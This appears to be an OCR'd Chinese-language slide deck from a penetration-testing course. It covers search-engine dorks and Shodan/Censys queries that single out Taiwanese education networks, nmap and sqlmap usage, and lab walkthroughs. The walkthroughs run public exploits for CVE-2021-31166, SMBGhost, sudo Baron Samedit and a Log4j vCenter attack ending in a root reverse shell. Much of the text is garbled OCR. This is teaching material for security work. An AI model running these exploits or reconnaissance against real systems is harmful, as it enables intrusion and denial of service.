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https://www.qnap.com/zh-tw/security-news/2022?page=1
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filetype:asp
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Google Dork (Google Hacking) A » 3%

inurl:uploads

filetype:asp
Or
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Google Dork (Google Hacking) & r¢ 3=
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intext:Server.MapPath(".mdb") ext:asp site:edu.tw

filetype:xlsx
site:edu.tw FH

intitle:"index of"
"wp-content"
site:edu.tw
inurl:uploads

intext:Server.MapP
ath(".mdb") ext:asp
site:edu.tw
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Shodan ‘P" *

No contracts. No setup fees. Cancel anytime.

Freelancer Small Business Corporate

$69,/month $359 /month $1099/month

CHOOSE THIS PLAN CHOOSE THIS PLAN CHOOSE THIS PLAN

v Up to 1 million results per month - v/ Up to 20 million results per month * il Unlimited results per month "

v Scan up to 5120 IPs per month v Scan up to 65,536 IPs per month v/ Scan up to 327,680 IPs per month
+ Metwork Monitoring for 5120 IPs v Network Monitoring for 65,536 IPs v Network Monitoring for 327,680 IPs
v Access to most filters v Access to most filters v/ Access to all filters

v Allows paging through results v Allows paging through results v Allows paging through results

v Basic access to the Streaming API v/ Basic access to the Streaming API v/ Basic access to the Streaming API

v Commercial Use + Commercial Use v Commercial Use
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cademic Upgr

Shodan

in provides a free pgrade for users that sign up with an academic email address (ex. ending in



https://help.shodan.io/the-basics/academic-upgrade

Shodan.io

T

Search Engine for
the Internet of
Everything

Shodan is the world's first search engine for
Intemet-connected devices. Discover how
Interet intelligence can help you make
better decisions.
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Login with Shodan Login with

G Google

W Twitter

B Windows Live

Forgot Password?
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Billing

Y SHODAN | Account Overview

0t Account Overview
& Sett

Account Level Free |
£ Ch P
o APl Key 2

RESET API KEY
Display Name
Email

Member No
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H=% - academic@shodan.io
HHZEBiE % academic TRE

To ° academic@shodanio X

Cc

Shodan academic upgrade

| am a cybersecurity student and | want help from shodan to help me with an academic upgrade that can help me for my college research purposes.

Best regards

From:https://toptechpal.com/how-to-upgrade-your-shodan-account-for-

free/



https://toptechpal.com/how-to-upgrade-your-shodan-account-for-free/
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Academic Support <academic@shodan.io=

Hi

We've applied the free upgrade to your Shodan account which is linked to your academic email. A separate welcome email has been sent with several links to get started (including a copy of the official Shodan book).
The free academic account includes:

» Download up to 10,000 results per month

Scan up to 100 IPs per month
» Network monitoring for 16 IPs
» The ability to use the "vuln" search filter on the website

Also see here for the official help center article on our free academic upgrade offers:

Best regards,

Han Huynh

Shodan”, LLC.
"Make internet intelligence work for you!"



Shodan ¥ #3 #&5 %= 745

1R 5% 2 F 4k % Academic membership

0 Account Overview
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Account Level
o
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Display Name

Email



net

port
country
city
product
0S
hostname

org

Shodan #7% # s

HFIPREETKHE
& 3p T Port

FH g LOF] R
FH Jp L 7

WEH g LA &
WF 4y wniTE h
PH g L T H
X

HF 4y bl

SEP S e

R
net:140.0.0.0/16
port:22,443
country:tw
city:"Taoyuan City"
product :D-link
os:windows
hostname:edu.tw

Org:"Ministry of Education Computer Center"



Shodan #&F # it - - R Y

FPHWindows x> * BE Nigsdd o | ha i
e OS:Windows port:3389

FPH Ubuntu,x 36> ® 2 £ # * 3g& SSH portehi 4
e OS:Ubuntu "OpenSSH" -port:22

HFHpEBERREE P T ApacheZE X prbini 8
e Hostname:xxx.edu.tw product:Apache

FHP L FREE X Fmysql$oh g Reni 3
e Hostname:xxx.edu.tw product:mysq|



Shodan % # it -2 R Y

HFH 3 B 3B JAWS/1.07K &
o JAWS/1.0 (#%E#1)
FHC X EVYNCeHI 8 PP N BEFH 5 i s
e "rfb" "authentication disabled"
Z HWindowssix » 5 20H2 » ¥ B 3HTTP/HTTPsenA #$
e os:windows “version 2004” port:80,443
HPH e x%kvCenter > * A 54548
e vcenter server product:"VMware vCenter Server"
country:"TW"
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o Banner Grabbing (Http/Https, SSH, SQL)
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ip
service.port
location.country_code
Services.software.product
services.software.vendor

dns.names

Censys 3#'& # 5\

w
F P a2k &
#F 4y T Port
O dp LB R
B 4y LN BAI
HOF 4p TIRP

HF gy e LA

o

ip: 140.0.0.0/8

service.port:{22, 443}
location.country _code : tw
Services.software.product:DCS-5025L_5E
services.software.vendor:microsoft

dns.names:edu.tw
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Zeroday
o # % SQL injection ~ XSS =

T ik SRR ATIEE

Ze roJay

fcﬁﬁﬂ']/%ﬂ %iﬁz}:lﬂ
BRATH S = 5iIWNGS
| 2022 EEAREE LR | ST AS ZH LR EERSTERGEITHIRRG
| 2021 EEEARTE S ILARTS | (Bounty] E1BPE5APP Information Leakage

| 2020 EEAREERELLIRE | (Bounty] E1BPE5APP Arbitrary File Upload to RCE



e CVE Detall
o & CVEHs §1 =
CVE Details

The ultimate security vulnerability datasource

|5 N TS Sl Take a third party risk management course for FREE

Switch to hitps:if

Home

i 35 % &IE P

| || Search |
| |[ view cvE |

Vulnerability Feeds & Widgets™®™ JEUUIAGIE:sXelely]

Browse :

Voodors ‘Enter a CVE id, product, vendor, vulnerability type...

Products

Vulnerabilities By Date
Vulnerahilities By Type

Reports : Current CVSS Score Distribution For All Vulnerabilities

CVSS Score Report

CWSS Score Distribution Distribution of all vulnerabilities by CVSS Scores
Search : CVSS Score Number Of Vulnerabilities Percentage
Vendor Search e 512 050
Product Search - 1172 070
S IR
3-4 B8B48 5.10
Top 50 : 45 41454 2370
Vendors 5-6 33105 18.90
Vendor Cvss Scores 6-7 26022 14.90
Products 7-8 34936 20.00
Product Cvss Scores - 870 0.50
Other :
i ) Total 174897
Microsoft Bulletins

Bugtrag Entries ‘Weighted Average CVSS Score: 6.5

CWE Definitions

Vulnerability Distribution By CVSS Scores

CVSS Score Ranges
Ho1
Wiz
[ FX]
34936 34

45
26022 55

41464

33105

19530 67
78
Mag

8848
8038 Moo

g1z 172 870


https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiipYeG2rP3AhUjGKYKHfl1DzQQFnoECA0QAQ&url=https://www.cvedetails.com/&usg=AOvVaw3LjjzvOp9kLO1buOfGqkF-

ki 3% &3F B

e CVE Detall

o P \.fulnerablllty Search
TN Vendor | |
AV at AR —

Vendor % 5 4 78 (Microsoft) oot J | |
Product Em E‘i(WlndOWS) lcen | | |

CVE ID CVEE"\] ,‘;-)ﬁ’ S (CVE-ZOZ 1- Microsoft Bulletin | |

31166)

Bugtraq Id (BID) | |

CVSS Score | [&|f@ $7] A CWE ID | |

— LA Do
1-10(HEE R - &
Public Exploit
=) s
CVSS Score Minimum l:l Maximum: l:l (Both values are used as "equals or greater than”)

Vulnerabmty iﬁj SIEJ ?BZ//)\\ E:ﬁ E/\J H% FIEﬁ Vulnerability Publish Date. peqyeen ; Year: | |Momh: | | And : Year : | | Month - |

PUbI |Sh Date Vulnerability Update Date  petween : vear: | |Mc-mh: | | And : Year : | | Month - |



https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiipYeG2rP3AhUjGKYKHfl1DzQQFnoECA0QAQ&url=https://www.cvedetails.com/&usg=AOvVaw3LjjzvOp9kLO1buOfGqkF-
https://github.com/antx-code/CVE-2021-31166
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. Exploit-db

Verified Has App T Filters W« Reset All

Show | 15 ~ Search:

Date A Title Type  Platform Author
20220419 * » EaseUS Data Recovery - ‘ensserver.exe' Unquoted Service Path Local Windows bios
20220419 * > PTPublisher v2.3.4 - Ungquoted Service Path Local Windows bios
20220419 #* *  Fuel CMS 1.5.0 - Cross-Site Request Forgery (CSRF) WebApps PHP Ali J
20220419 # > 7-zip - Code Execution / Local Privilege Escalation Local Windows Kagan Capar

WordPress Plugin Elementor 3.6.2 - Remote Code Execution (RCE)

2022-04-19 (Authenticated)

WebApps PHP AkuCyberSec

|4
X


https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=&cad=rja&uact=8&ved=2ahUKEwiIv5SW2rP3AhXVCaYKHY0mAR0QFnoECBEQAQ&url=https://www.exploit-db.com/&usg=AOvVaw2UWz5FKB6jgpgQ7KRhnlV1

o Github
o TrHFR Nk AT L

Team Enterprise Explore Marketplace Pricing exploit windows

Repositories -
Windows

Code : Windows is Microsoft's GUl-based operating system.

Commits

Issues

815 repository results Sort: Best match ~

Discussions

Packages ) ) . _
5 Niki'windows-kernel-exploits
Marketplace windows-kemel-exploits Windows - SiZfERSES
Topics
i 6.3k
Wikis
Users Hack-with-Github/Windows
Awesome tools to exploit Windows !

Languages
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e netdiscover
o ¥ Ay
T B RERPN D BEFERLE
n mﬁARPm Y 7 l'ﬁ??]iﬁ‘g‘
m ¥ UFR G BREK

£

m sudo netdiscover -r 10.0.2.0/24 (& ## ¥ crie £)

@)
A
s s

Currently scanning: Finished!

5 Captured ARP Req/Rep packets [ : a ize: 300
MAC Vendor / Hostname

Unknown wvendor
Unknown wvendor
PCS Systemtechnik GmbH
PCS Systemtechnik GmbH
PCS Systemtechnik GmbH




Nmap

(@)

b2
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VAR - IR IR T

BILER - FREMEZ PRI~ LR AR~ PTG A
TURFRE- IP-3 AR

L3 FHBTE K 4o Windows, macOS, Linux

e e xml #2538 0 ¥ %~ B Nessus 2 Metasploit & 1 &



Nmap 3 p?

10
irting Nmap 7.92 (
Nmap scan report for
Host is up ncy).
Mot shown: 999 closed tcp ports (conn-refused)
PORT TATE SE
domain

Nmap scan report for
AusL 15 up >
Not shown: 9
STATE S
open msIrpc
open https
open microsoft-ds
open
open
open ms-wbt-server

Nmap scan report for 1@
Host is up 165 la
@ scanned ports on 1@ 15 are in ignored
B (conn-refused)

Nmap scan r Y ! 17)
Host is up (0.€
Not shown: 9 sed tcp ports (conn-refused)
PORT STATE ¢

/tcp open

/tcp open

Nmap done: addresses (! ) scanned in

seconds




Nmap 3 p?

o Nmap 35 £ #3"
Fde >3 %5 dp 4

FhE-14 nmap P #&IP

i 5B nmap P #&IP, p {&IP

.#k'ﬁ% IP e & nmap P #&IP --exclude # =_IP

R E nmap -A -T4 p &IP
AL Do FRfe 0 ¢ 3 WBITEE K AL~ JRIZR A ~ @ * seript
traceroute
T4 ARFRHEARAD) T~ EAHE wFERAT
EH T4

¥+ F 2_port nmap -p 1-1024 p #&IP

i B ¥ & * dport nmap -top 20 p &IP



o Nmap 45 £ #-3"

SGECIES
F 3 IRIFR &
A 2R SRS
#iEICMP 157 st

WEIAPAERTY - 258 ICMP
3 NGB MEE R A

R L xml HELEN

FhApR Y hp i

Nmap 3 p?

N
<l
A
o)
o

nmap -sV P &IP
nmap -O P #IP
nmap -sn p #&IP

nmap -A -T4 -Pn p &P

nmap -A -T4 p #%IP -oX filename.xml

nmap -A -T4 -iL target.txt



Nmap 3 p?

e Nmap %’szﬁ‘;‘“ (script)

o Hra g js lusr/share/nmap/scripts
e > 3 %5 %
W RIFE R A A Gk nmap -A -T4 --script default p $&IP
iRk B ik nmap -A -T4 --script vuln p 1&IP
# B ssh i nmap -p22 --script ssh-* p $&IP
# B snmp 5 iF nmap -sU -p161 --script default p IP
# B smb G F nmap -p135,139,445 --script=smb-check-vulns p #IP -Pn

#%ipl 8 F 7 WAF nmap -p80,443 --script=http-waf-detect p #IP


https://nmap.org/nsedoc/categories/default.html
https://nmap.org/nsedoc/categories/vuln.html

e Sglmap

o SQL injectionsg ip| 1 £

https://salmap.org

[!] legal disclaimer: Usage of sglmap for attacking targets without prior mutual consent is illegal. I
er's responsibility to obey all applicable local, state and federal laws. Developers assume no liabili
responsible for any misuse or damage caused by this program

[*] starting @ 13:58:21 /2022-04-29/

:58:21] [INFO] resuming back-end DBMS 'mysgl’

56:21] [INFO] Testing connection to tne target URL

[13:58:22] [WARNING] there is a DBMS error found in the HTTP response body which could interfere with
the tests

sglmap resumed the following injection point(s) from stored session:

Parameter- NewsThD (GFT)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: NewsID=2484 AND 4773=4773&6customerId=33

[1
[1

Type: time-based blind
Title: MySQL < 5.@0.12 AND time-based blind (BENCHMARK)
Payload: NewsID=2484 AND 8506=BENCHMARK(5000000,MD5(0x6e486467))&6customerId=33




Sqlmap % #ei

e Sglmap¥w * %#k

-u & & R e u (url) -T ip & | A enF LA
—-dbs ) 4y o eh A —-columns | #d p ow FAL & i i
--current-db LA e T s - N S --dump ZUALR A E AR R
B E : R's g% 0 R 7% e nplidediz (e
- 7] —«/J_ el i T F
D dp TR AR risk or) + T A TR B B A
7‘:[;| —TJ:f‘\lil_ ",,4:5"\ ,L_A _'/i"‘l’""",'%‘ - . . ,
—taie f"J& B PR R Ty T —level 3 I hp = plsEsqlinjection » e
% cookie, Agnet
--random- A 4 "8 User Agent 3 . L .
agent il P PN Rl
-r # B~ httpeiogi-F4% & --batch R I WA RBIER LT E
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% nmap FEin T S E R
o A ¥ 7 FREport ?

80,81,135,443,445,2222

o ipdportF_ i APRIEAR 9
SMB, SSH, Web

O P JRIZATFE F ik 7V
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Windows 10 20H2 + IIS
o HiFWM
o 4% % \Windows 10 HTTPH: % ik i cHE 4 1 5 2 vc 3 i i T 5

o ABRFPOFELT IS BE- BREUOe o 3 HTTPR i
(http.sys)en P PR B F kB4t é > T B - HF 0 A2 U EHIg AR
%‘r
o RMEIRA
o Windows 10 20H2
o ¥ fg;\

o https://github.com/antx-code/CVE-2021-31166
o HEIRWEE fr



https://www.ithome.com.tw/news/144478
https://github.com/antx-code/CVE-2021-31166

kA
Windows 10 20H2 + IS
B gcKali® e T3 abgl | o 507§ s
o git clone https://github.com/antx-code/CVE-2021-31166
uim P O] 3 4 | Yo

kali@kali: ~/Downloads/exploites

File Actions Edit View Help

— - [~/Downloads/exploites’
—$ git clone https://github.com/antx-code/CVE-2021-31166.git
Cloning into 'CVE-2021-31166".

remote: Enumerating objects: 47, done.

remote: Counting objects: 100% (47/47), done.

remote: Compressing objects: 100% (35/35), done.

remote: Total 47 (delta 14), reused 38 (delta 9), pack-reused ©
Receiving objects: 100% (47/47), 295.59 KiB | 2.13 MiB/s, done.
Resolving deltas: 100% (14/14), done.

)~ [~/Downloads/exploites]




ﬂ%ﬂtfdﬂ' EEERIPIEHS

HERENIP
Windows 10 20H2 + |IS

o FixKaliv e T ¥xdys | » &3 (77 # fz 0
o P~ CVE-2021-31166.py * e p e IP
m  Sed -i 's/192\.168\.199\.61/10\.0\.2\.x/g' CVE-2021-31166.py
o H {TreHF AR
m python3 CVE-2021-31166.py

Aj~/Down1oads/exp101tes/CVE 2021-31166
's/192\.168\.199 51/10\.0\.2\.4/g" CVE-2021-31166.py

-[~/Downloads/exploites/CVE-2021-31166 |
CVE-2021- 31166 DV
13:12:18.970 | INFO i :dia:s8 - B UE: http://10.0.2.4/
13:12:19.537 | INFO A ndshake:14 - BXRIBF: BEHEEHIESR

- _Iﬁnpochﬁ
202 13212224543 INFO . : :42 - POCIEFERLTH: http://10.0.2.4/ mayb

e can Explo1t'

2022-04-22 13:12:24,543 INFO , :dia:52 - ﬁix&hmiﬁh&

2022-04-22 13:13:06.350 INFO 11 :verify_ e:27 - RWUFER: BEHEETHNERE®R
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ARG 7 4 - EEF
o AikP
o Windows 10 @& ¥ g BiSMBGhost::SMBleediF i
o CVE-2020-0796 5 — =32 5 7 (RCE) /&F » 3 > Microsoft Server
Message Block 3.1.1 (SMBV3) 2z ¢ » ¥ B2 F 2 B2 E R 3¢ 3
SMBV3 & PR B f§ 4 > > P #EWindows 1048 £ + 34 7 = & 425"
o WA
o Windows 10 Version 1903,1909 for 32/64 bit based Systems
o Windows Server, version 1903,1909 (Server Core installation)
o rr¥ifg;l

o https://github.com/chompiel337/SMBGhost RCE PoC
o HREBENBEFHER



https://www.ithome.com.tw/news/138177
https://github.com/chompie1337/SMBGhost_RCE_PoC

- R L

AEE 45 - EEF

o MizKaliv e Mgy | » 3T st Hag b

(@)

Cloning
remote:

remote:
remote:
remote:
Receiving objects: 100% (42/42), 19.50 KiB | 1.62 MiB/s, done.
Resolving deltas: 1@00% (20/20), done.

git clone https://github.com/chompiel337/SMBGhost RCE_PoC.git

|- ~/Downloads/exploites
clone https://github.com/chompiel337/SMBGhost_RCE_PoC.git
into "'SMBGhost RCE_PoC' ...
Enumerating objects: 42, done.

Counting objects: 100% (42/42), done.
Compressing objects: 180% (32/32), done.
Total 42 (delta 2@), reused 23 (delta 9), pack-reused @




B on il W =4 B IPIE A
ks i 'f J é%i%i%ﬁ@lP

A A7 - Bl
o MixKaliv il =i | > I3 (752 4250

o python2 exploit.py -ip 10.0.2.10

~/Downloads/exploites BE B B8 @A RE =8
SMBGhost RCE PoC

~/Downloads/exploites/SMBGhost_RCE_PoC

exploit.py kernel_shellcode.asm 1zntl.py README.md smb_win.py

®
~/Downloads/exploites/SMBGhost_RCE_PoC

exploit.py 10.0.2.10
Traceback (most recent call last):
File "exploit.py”, line 464, in <module>
do_rce(args.ip, args.port)
File "exploit.py”, line 425, in do_rce
find_low_stub(ip, port)
File "exploit.py”, line 404, in find_low_stub
buff = read_physmem_primitive(ip, port, index)
File "exploit.py”, line 204, in read_physmem_primitive
buff = try_read_physmem_primitive(ip, port, phys_addr)
File "exploit.py”, line 217, in try_read_physmem_primitive
sock = reconnect(ip, port)
File "exploit.py”, line 174, in reconnect
sock.connect((ip, port))
File "/usr/lib/python2.7/socket.py”, line 228, in meth
return getattr(self._sock,name)(*args)
socket.timeout: timed out

RIS SR ERE - BV REHRE -
HABEIEEWERLERER - FERMFTREEHRE) -

B5ehl 55%

MABUCRIREERATI RS IERFABEER - 2

https://www.windows.com/stopcode

RBEWABRR - BEAUFR
5 1ECH8: KMODE EXCEPTION NOT HANDLED
EWMAVIHAER: srvnet.sys
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Linux &4 - sudo /@i
o HiFF P
o 3 piTt & alinuxSudoisik 0 iR ITR A iﬁwﬁﬁ 742 4L
o % XRFQualyssm g 4 B g mAgUNnix T ¥ ks ¥ * enSudodzst > 5 - B
L BB 0 AR SU .M%WT’E@Aﬁ%%wl%jmﬁﬁﬁ
-
o WA
o sudo:1.8.231.8.31p2: k5% &
o sudo:1.9.031.9.5pl48 T o A
o ¥ sl
o https://github.com/CptGibbon/CVE-2021-3156.git
o B2



https://www.ithome.com.tw/news/142469
https://blog.qualys.com/vulnerabilities-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit
https://github.com/CptGibbon/CVE-2021-3156.git

7z B e L
Linux #ZZ# - sudo /@&
o BixKali " ¥#:348 @M 3T 5 KF LS (pex/pexPW)
o Fgiusudo =& : sudo-V
o FEweA_F 3 iRk :sudoedit-s'Y
(RS S = D A A el B I B

userlouser:

Sudo version 1.8.31

Sudoers policy plugin version 1.8.31
Sudoers file grammar versilon 46
Sudoers I/0 plugin version 1.8.31
userlauser:~% sudoedit -s Y

[sudo] password for userl:

Sorry, try again.

[ sudo] password for userl:

sudoedit: 1 incorrect password attempt
userlauser:~$ |




=Pl
Linux #27# - sudoJz@id
o B zKali " %z | = i‘ﬁ:?ﬁ;“ » I-compilets » 4 §7 s A7 50
o git clone https://github.com/CptGibbon/CVE-2021-3156.qit
o cd CVE-2021-3156 && make

o .Jexploit

userlguser:~$ git clone https://github.com/CptGib
bon/CVE-2021-3156.¢git

Cloning into 'CVE-2021-3156'...

remote: Enumerating objects: 13, done.

remote: Counting objects: 100% (13/13), done.

userlguser:~$ cd CVE-2021-3156/ & make
mkdir 1ibnss x

cc -03 -shared -nostdlib -o libnss x/x.s0.2
cc -03 -0 exploit exploit.c

userlguser: § ./exploit
# whoami

remote: Compressing objects: 100% (11/11), done.
remote: Total 13 (delta 1), reused 5 (delta @), p
ack-reused 0

Unpacking objects: 100% (13/13), 4.11 KiB | 247.0
0 KiB/s, done.



https://github.com/CptGibbon/CVE-2021-3156.git
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SQL injection
o HiFF P

o 4 :xk7F 2 SQL injectionis ik
o #iESQL injectionifik 7 11 P~ e xh g WK chy M RELE R

o il

o sglmap



Bk i
SQL injection
o BEKali CHATE, AT P A FRELE G RFT @

o http://x.x.x.x/cat.php?id=1
I fcat.php?id=1 I

My Awesome Ph
My Awesome Photoblog

Home | test | ruxcon | 2010 |

last picture: cthulhu

—
nia .
4] picture: ruby

iﬁg ‘Ruby\
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SQL injection

bgen FlnS RS G o dr T o TR KT SqUEE R g e

(@)

http://x.x.x.x/cat.php?id=1’
reatphfia=T]

My Awesome Photoblog

Home | test |

Warning: pg_exec(): Query failed: ERROR: unterminated quoted string at or near "™ LIME 1: SELECT
* FROM pictures where cat=1" " in fvar/www/classes/picture.php on line 17 ERROR: unterminated
quoted string at or near ™™ LIME 1: SELECT * FROM pictures where cat=1""

Mo Copyright

’

=]

N
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SQL injection

o it % sqlmapiPliFEATE 3 Ak I
o sglmap -u “http://x.x.x.x/cat.php?id=1"

this

]
]
]
]
]
]
]
]

Program

[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[InFO]
[INFO]
[INFO]

esting connection to the target URL

i the target URL content is stable

content is stable
g GET parameter 'id' is dynamic

parameter 'id' appears to be dynamic
euristic (basic) test shows that GET parameter 'i
euristic (XSS) test shows that GET parameter "id’
esting for S50L injection on GET parameter "id’
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SQL injection

i * sqlmap®- & T AL 4p B F 3
sqlmap -u “http://x.x.x.x/cat.php?id=1"

[22 j] [INFO] target URL appears to have 4 columns in query
[22:57:52] [INFO] GET parameter 'id' is "Generic UNION query (NULL) - 1 to 2@ columns' inject
[ : L TwWARNTNG] narametar langth constraining mechanism detected (e.g. Suhosin patch).

GET parameter 'id' is vulnerable. Do you want to keep testing the others (1f any)? [yHH] y
sqlmap i1dentified the tollowing injection point(s) with a total of 46 HTTP(s) reques

id (GET)
: boolean-based blind
: AND boolean-based blind - WHERE or HAVING clause
id=1 AND 9477=9477

] [INFO] the back-end DBMS is PostgreSaQL
server operating svstem: |inux Debian 6 (soueeze)
web application technology: PHP 5.3.3, Apache 2.2.16
back-end DBMS: PostgresqL




o sqlmap % #cF

5l 41

SQL injection

-u & | e nk (url) -T FAE & S S

—-dbs S ey AR —columns | 74 B FALA e 1

--current-db | i p W F AT AR —-dump TR

-D ip & 7 HE AR --risk b & @ B g A e AREEE R (40
or) o R TR R

--tables FUA P w FARE G F | --level &7 [F e = pIEsql injection 4

L % cookie, Agnet
--random- iz zzUser Agent 375 P #}3 TE P el
agent
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SQL injection

o PiBigerhp enFT LR 74 o BEpublicF R P T AL
o sglmap -u “http://x.x.x.x/cat.php?id=1" o sglmap -u “http://x.x.x.x/cat.php?id=1"
--dbs -D public --tables

[ 12 :48] [INFO] fétching tables for database: "public’
Database: public
3 tables]

[ 1 [INFO] retrieved: 'information_schema®
[ +1 ] [INFO] retrieved: '"pg_catalog’

[ 41 ] [INFO] retrieved: 'public®

available databases [3]:

[#] information_schema
Lal eo catalag

[*#] public
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SQL injection

e HUSpublicERIESF - user&E R PRI o HiSuserEflzRd - FRUMNEN (E2EE)
o sglmap -u “http://x.x.x.x/cat.php?id=1" o sglmap -u “http://x.x.x.x/cat.php?id=1"
-D public -T users --columns -D public -T users --dump

D
LE]
[II
+

I
4

|

|

|

I
1

Column

id

login
password
users

e —

[ 19] [INFO] using default dictionary
do you want tu use common password suffixes? (slow!) [y/N]

FO] starting dictionary-based cracking (md5_gene
rur]-:Ii -| "TZITT'IFIEF 2 nr'n.:'.'.'.'..ar
iumeric - - "o ] =
non-numeric 0] cracked password "Pisswdrd' for user 'admin
non-numeric
non-numeric

e o—— e e —
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vCenter - Log4j

o Gk WP
o -2 1f2logdjPEBETLXREKF > SPEEFIVES £

PR
Mk
~D

o Apache Server i Apache Log4j = > 8 % e B L &

o R & Logdj hisrlog PFis ST R B AR DNG o e f 4RI BRI A
o WHIRK

o VMware vCenter Server (7.x before 7.0 U3c)

o VMware vCenter Server (6.7 before 6.7 U3Qq)

o 1z¥Hfg;\
o https://github.com/puzzlepeaches/Log4jCenter (CVE-2021-44228)
o B{FHERE L @is AN



https://buzzorange.com/techorange/2021/12/21/what-is-log4j-and-log4shell/
https://github.com/puzzlepeaches/Log4jCenter

- R L

vCenter - Log4j
o FpxKaliv en T #zi | » X FEL 8 32
o sudo apt update && sudo apt install docker.io
o git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter

&& cd Log4jCenter && sudo docker build -t log4jcenter .

- ~/Downloads/exploites]

zit clone https://github.com/puzzlepeaches/Loghj(
Cloning into 'Log4jCenter' ...
remot Enumerating obj
remot Counting objects:
remote: Compressing obje
remot Total 47 (d )

iving objects: (47 /47 3.16 Ki .0 iB/s, done.

Resolving delt
'utils/rogue-jndi’

for path 'utils/vcenter_saml_login'

Submodule "util e-jndi" ( github.com/veracode-re
Submodule "utils/w er Logi ( = ithub.com/horizon3
i ploites/Log4jCenter/utils/rog

remot Enumerating obj
remot Counting object
remot Compressing obj
remote: Total 80 (delt
Receiving objects:
Resolving deltas:
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vCenter - Log4j

o BpxKaliv th T sl | > M Fre AN (F MF bl )

o R Ezi ¥ X Port

BEFR BEM BE@9

OEE &298 &%

EFREQ).

BEAERESN.--
ELEREEE).
HREEREEREN)..

EREHEERM..
FTREETESH).
EEREEEHER(C).-

E2HEH)
Ctrl+G

Ctrl+1
Ctrl+E

Ctrl+D
Ctrl+H
Ctrl+P

& VirtualBox - EIFEE

M T
@ = NAT SR 00

@ B E8
= MatMetwark

[ ==
@ == & NAT EEsgEs 7 X

=T BRERE)
#e ]l A BN | Natletwork |

L
=
) = #i CIDR(C): [10.0.2.04 |
[

SRR [ %€ DHCP(D)
Proxy [ 18 v

EEERCHER b
3| [ mmmaEe |||

Erif

N | EFEE

fEtDy: i HIiH




o BizKaliv e T4 s |

o R Ezi ¥ X Port

W EEiEEEEs

7z B e L
vCenter - Log4j

D F AR (P AF i)

[Pvd  IPvd

i R3E TE#EP TERESE ZEEIP EEBEE
Logdj-reverse TCP dddd daddd
Log4j-wehb]| TCP 8090 8090
Logdj-1388 TCP 1389 1388

PCESHIP EEENIP

& &



B EcKali T % =8 ) GR2BART
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vCenter - Log4j

o AR % 1:nc-lvnp 4444

% F Port T

3% 1F docker # {7 s # f7 5\

o #R % 2 :sudo docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p
1389:1389 log4jcenter -t p 3IP -i & 1P -p 4444 r

—[~/Downloads/exploites/Log&iCenter ]
Sloot:/Log4jCenter/Loot

ncat -lvnp 4444
rting now ...

- [~/Downloads/exploites/Log&jCenter ]

G444
11;ten1ng on [qnx] Lans ..
connect to [1@ 15] from (UNKNOWN) [ |
ip addr
1: lo: <LOOPBACK,UP, LOWER UP mtu 65536 gdisc nogueus
link/loopb 5 0 :0E
inet 127.8.8.
valid 1+t
inete ::1/
valid_1+t ever p1e+nllnd 1ft forever
ULTICAST ,UP, LOWER_UP>
7l:ce brd f

1n=T 19_.1
valid_ 1+t

whoami
root
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fmin
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ZBWAFFEE
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ModSecurity
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Hack the box

BRELHBEFILPBDT LD VAR RFEPH TS N E
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Hack the box

@) HACKTHEBOX

Introducing HTB Academy Certifications Version 3.18.0 640 Players Online

€D HACKTHEBOX

20 MAY 2022 f Rank Up-0 a

OVERVIEW

\ : I
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Starting Point Machines Challenges Battlegrounds



https://www.hackthebox.com/

Vulnhub
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LAB 8.7 #2 %3

Internet

NAT g2 (NATNetwork) 10.0.2.x

45 %
7‘@ 1’%
= B

&
S




Frdw A5

netdiscover

VulnHub — Blogger

https://hackmd.io/@qolsip/H1vAt1iS5

2 3 4 5

user.txt @

FHAK I REF O RARR L

nmap github


https://hackmd.io/@golsip/H1vAt1iS5
https://hackmd.io/@golsip/H1vAt1iS5

